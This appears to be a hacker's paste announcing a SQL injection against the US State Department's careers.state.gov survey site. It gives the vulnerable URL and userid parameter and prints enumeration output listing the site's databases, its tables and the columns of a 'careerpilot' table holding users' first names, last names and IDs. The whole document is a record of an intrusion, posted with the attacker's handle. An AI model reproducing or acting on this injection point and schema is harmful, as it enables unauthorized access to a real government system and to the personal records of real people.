sub state.gov Database

http://www.careers.state.gov


Vuln: careers.state.gov/survey/StateCareers/ThankYou.php?&&&&&&userid=%52%


http://www.twitter.com/Gr33nRage
--------------------------------

available databases [2]:
[*] information_schema
[*] surveys


Database: surveys
[2 tables]
+-------------+
| careeritems |
| careerpilot |
+-------------+


Table: careerpilot
[59 columns]
+-----------+--------------+
| Column    | Type         |
+-----------+--------------+
| firstname | varchar(128) |
| item_001  | int(11)      |
| item_002  | int(11)      |
| item_003  | int(11)      |
| item_004  | int(11)      |
| item_005  | int(11)      |
| item_006  | int(11)      |
| item_007  | int(11)      |
| item_008  | int(11)      |
| item_009  | int(11)      |
| item_010  | int(11)      |
| item_011  | int(11)      |
| item_012  | int(11)      |
| item_013  | int(11)      |
| item_014  | int(11)      |
| item_015  | int(11)      |
| item_016  | int(11)      |
| item_017  | int(11)      |
| item_018  | int(11)      |
| item_019  | int(11)      |
| item_020  | int(11)      |
| item_021  | int(11)      |
| item_022  | int(11)      |
| item_023  | int(11)      |
| item_024  | int(11)      |
| item_025  | int(11)      |
| item_026  | int(11)      |
| item_027  | int(11)      |
| item_028  | int(11)      |
| item_029  | int(11)      |
| item_030  | int(11)      |
| item_031  | int(11)      |
| item_032  | int(11)      |
| item_033  | int(11)      |
| item_034  | int(11)      |
| item_035  | int(11)      |
| item_036  | int(11)      |
| item_037  | int(11)      |
| item_038  | int(11)      |
| item_039  | int(11)      |
| item_040  | int(11)      |
| item_041  | int(11)      |
| item_042  | int(11)      |
| item_043  | int(11)      |
| item_044  | int(11)      |
| item_045  | int(11)      |
| item_046  | int(11)      |
| item_047  | int(11)      |
| item_048  | int(11)      |
| item_049  | int(11)      |
| item_050  | int(11)      |
| item_051  | int(11)      |
| item_052  | int(11)      |
| item_053  | int(11)      |
| item_054  | int(11)      |
| item_055  | int(11)      |
| item_056  | int(11)      |
| lastname  | varchar(128) |
| userid    | int(11)      |
+-----------+--------------+